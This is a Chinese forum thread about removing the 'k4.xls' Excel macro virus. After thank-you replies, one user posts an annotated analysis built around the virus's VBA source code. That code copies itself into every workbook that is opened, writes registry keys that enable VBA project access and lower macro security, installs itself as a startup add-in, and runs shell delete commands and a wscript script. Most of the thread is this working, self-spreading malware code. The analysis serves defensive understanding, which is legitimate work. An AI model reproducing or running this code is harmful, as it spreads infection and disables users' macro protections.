k4.xls 宏病毒专杀

xq1234

打开注册表，先查看到底有没有HKEY LOCAL MACHINE\MICROSOFT\OFFICE\11.0\EXCEL\ 路径

sq30

十分感谢，，，，{:soso_e142:}

fcdszy

谢谢分享~~~~~~~~~~~~~~~~~~~

ljdqe_456

中招的迹象是哪样的啊？

011711

感谢高手解决实际问题 高手

guihuala

{:soso_e163:}感谢楼主，解决了我的一个难题！

杏仁豆腐

谢谢分享啊，之前用“Office病毒专杀”，好像杀完后搜索K4，还是有文件存在。

fhg5

谢谢分享，解决了一个大麻烦。

xq1234

thisworkbook中的病毒代码分析

Public WithEvents xx As Application
Private Sub Workbook_open() '本工作簿打开
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
    'do_what包含：
                '1.删除有解锁信息的那张表；
                '2.将当前用户和所有用户的工程对象设置允许访问,安全级设置为低；
                '3.当前工作簿另存为 Application.StartupPath & "\k4.xls"；
                '4.创建 "D:\Collected_Address:frag1.txt" 文件，内容为 ""
                '5.创建 "D:\Collected_Address:frag2.txt" 文件，内容为  Now
                '6.用 "wscript.exe " 来运行  "E:\KK\" & 本工作簿的主名字（" " 和  "." 都用  "_" 代替） & "_Search.vbs"  代码，持续一定时间
End Sub

Private Sub xx_workbookOpen(ByVal wb As Workbook) '任意工作簿打开!!!!
On Error Resume Next
wb.VBProject.References.AddFromGuid Guid:="{0002E157-0000-0000-C000-000000000046}", Major:=5, Minor:=3 '在本工程中添加引用 Microsoft Visual Basic for Applications Extensibility 5.3，便于对工程对象进行操作
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb '复制模块代码（先导出，再导入）
Application.ScreenUpdating = True
End Sub

xq1234

ToDOLE模块中的代码（一）：

Private Sub auto_open() '工作簿打开时的事件
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk '删除 ThisWorkbook 对象中原有的所有代码
  Call copytoworkbook '在 ThisWorkbook 对象中写入病毒代码
  If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook ' '复制宏表 Macro1 ,添加工作表隐藏名称 sht.Name & "!Auto_Activate",'隐藏宏表  Macro1
  ThisWorkbook.Save '工作簿保存
  Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook() '在 ThisWorkbook 对象中写入病毒代码
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"

End With
End Sub

Private Sub delete_this_wk() '删除 ThisWorkbook 对象中原有的所有代码
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject '取得VBE对象
Set VBComp = VBProj.VBComponents("ThisWorkbook") '取得 ThisWorkbook 对象
Set CodeMod = VBComp.CodeModule '取得 ThisWorkbook 对象中的所有代码
With CodeMod
    .DeleteLines 1, .CountOfLines '删除 ThisWorkbook 对象中的所有代码,1行开始,.CountOfLines结束
End With

End Sub
Function do_what() '打开运行该过程
If ThisWorkbook.Path <> Application.StartupPath Then

  RestoreAfterOpen '若是保存有解锁信息的那张表,则删除该表
  
  Call OpenDoor '工程对象设置允许访问,安全级设置为低(对所有用户/当前用户)
  
  Call Microsofthobby ''当前工作簿另存为 Application.StartupPath & "\k4.xls"
  
  Call ActionJudge ''创建 "D:\Collected_Address:frag1.txt" 文件，内容为 ""
                   '创建 "D:\Collected_Address:frag2.txt" 文件，内容为  Now
                    '  用 "wscript.exe " 来运行  "E:\KK\" & 本工作簿的主名字（" " 和  "." 都用  "_" 代替） & "_Search.vbs"  代码，持续一定时间
End If
End Function
Function copystart(ByVal wb As Workbook)
On Error Resume Next

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject

If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function

Function copymodule(ModuleName As String, _
    FromVBProject As VBIDE.VBProject, _
    ToVBProject As VBIDE.VBProject, _
    OverWriteExisting As Boolean) As Boolean
   
   'ModuleName ＝ Workbooks("k4.xls").VBProject "ToDole"
   'FromVBProject ＝ Workbooks("k4.xls").VBProject
   'ToVBProject = wb.VBProject 打开的工作簿
   
   
    On Error Resume Next

    Dim VBComp As VBIDE.VBComponent
    Dim FName As String
    Dim CompName As String
    Dim S As String
    Dim SlashPos As Long
    Dim ExtPos As Long
    Dim TempVBComp As VBIDE.VBComponent
   
    If FromVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
   
    If Trim(ModuleName) = vbNullString Then
        copymodule = False
        Exit Function
    End If
   
    If ToVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
   
    If FromVBProject.Protection = vbext_pp_locked Then '.Protection 返回一个值，指示一个工程的保护状态。工程保护则退出
        copymodule = False
        Exit Function
    End If
   
    If ToVBProject.Protection = vbext_pp_locked Then '.Protection 返回一个值，指示一个工程的保护状态。工程保护则退出
        copymodule = False
        Exit Function
    End If
   
    On Error Resume Next
    Set VBComp = FromVBProject.VBComponents(ModuleName) '取得病毒工程对象
    If Err.Number <> 0 Then
        copymodule = False
        Exit Function
    End If
   
    FName = Environ("Temp") & "\" & ModuleName & ".bas" '文件名为 Environ("Temp") & "\ToDole.bas"
    If OverWriteExisting = True Then '若要求履盖原文件
      
        If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
            Err.Clear
            Kill FName '删除原文件
            If Err.Number <> 0 Then '若删除发生错误
                copymodule = False
                Exit Function '退出过程
            End If
        End If
        With ToVBProject.VBComponents
            .Remove .Item(ModuleName) '移除目标工程的 "ToDole" 模块
        End With
    Else
        
        Err.Clear
        Set VBComp = ToVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            If Err.Number = 9 Then '若出现 “下标越界” 错误 （目标工程中没有 "ToDole" 模块）
               
            Else '否则退出
               
                copymodule = False
                Exit Function
            End If
        End If
    End If
   
    FromVBProject.VBComponents(ModuleName).Export Filename:=FName '将模块导出到 Environ("Temp") & "\" & ModuleName & ".bas"
   
    SlashPos = InStrRev(FName, "\") 'FName = Environ("Temp") & "\" & ModuleName & ".bas"    ("ToDole")
    ExtPos = InStrRev(FName, ".")
    CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1) 'CompName = ModuleName & ".bas"    ("ToDole")
   
    Set VBComp = Nothing
    Set VBComp = ToVBProject.VBComponents(CompName)
   
    If VBComp Is Nothing Then '若目标文件中没有 "ToDole" 模块
        ToVBProject.VBComponents.Import Filename:=FName '从外部  Environ("Temp") & "\" & ModuleName & ".bas" 导入模块代码
    Else '若目标文件中有 "ToDole" 模块
        If VBComp.Type = vbext_ct_Document Then
            
            Set TempVBComp = ToVBProject.VBComponents.Import(FName) '从外部  Environ("Temp") & "\" & ModuleName & ".bas" 导入模块代码，取得目标文件中的 ToDole 对象
           
            With VBComp.CodeModule '病毒工程的 ToDole 模块
                .DeleteLines 1, .CountOfLines '先删除
                S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines) '取得 "ToDole" 模块的各行代码
                .InsertLines 1, S '向病毒工程中写入代码
            End With
            On Error GoTo 0
            ToVBProject.VBComponents.Remove TempVBComp '为何要移除目标文件中的该部件？？？？？？？？
        End If
    End If
    Kill FName '删除 Environ("Temp") & "\" & ModuleName & ".bas"    ("ToDole") 文件
    copymodule = True
End Function

Function Microsofthobby() '当前工作簿另存为 Application.StartupPath & "\k4.xls"
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath & "\k4.xls"
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <> Application.StartupPath Then Workbooks("k4.xls").Close False '若 K4.xls 已打开,且当前路径不等于程序路径,则关闭 K4.xls
Shell Environ$("comspec") & " /c attrib -S -h """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus '取消系统、隐藏
Shell Environ$("comspec") & " /c Del /F /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus '强制删除只读文件、子目录文件
Shell Environ$("comspec") & " /c RD /S /Q """ & Application.StartupPath & "\K4.XLS""", vbMinimizedFocus '删除目录

If ThisWorkbook.Path <> Application.StartupPath Then '若当前工作簿路径不等于APP路径
     Application.ScreenUpdating = False
     ThisWorkbook.IsAddin = True '当前工作簿作为加载宏
     ThisWorkbook.SaveCopyAs MyFile '当前工作簿另存为 Application.StartupPath & "\k4.xls"
     ThisWorkbook.IsAddin = False '当前工作簿作为一般工作簿
     Application.ScreenUpdating = True
End If
End Function

Function OpenDoor() '工程对象设置允许访问,安全级设置为低(对所有用户/当前用户)
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")

RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM" '允许访问工程对象
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\Level" '安全级为低
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\Level"

KValue1 = 1
KValue2 = 1

      Call WReg(RK1, KValue1, "REG_DWORD")
      Call WReg(RK2, KValue2, "REG_DWORD")
      Call WReg(RK3, KValue1, "REG_DWORD")
      Call WReg(RK4, KValue2, "REG_DWORD")

End Function

Sub WReg(strkey As String, Value As Variant, ValueType As String) '写注册表值的子过程
    Dim oWshell
    Set oWshell = CreateObject("WScript.Shell")
    If ValueType = "" Then
        oWshell.RegWrite strkey, Value
    Else
        oWshell.RegWrite strkey, Value, ValueType
    End If
    Set oWshell = Nothing
End Sub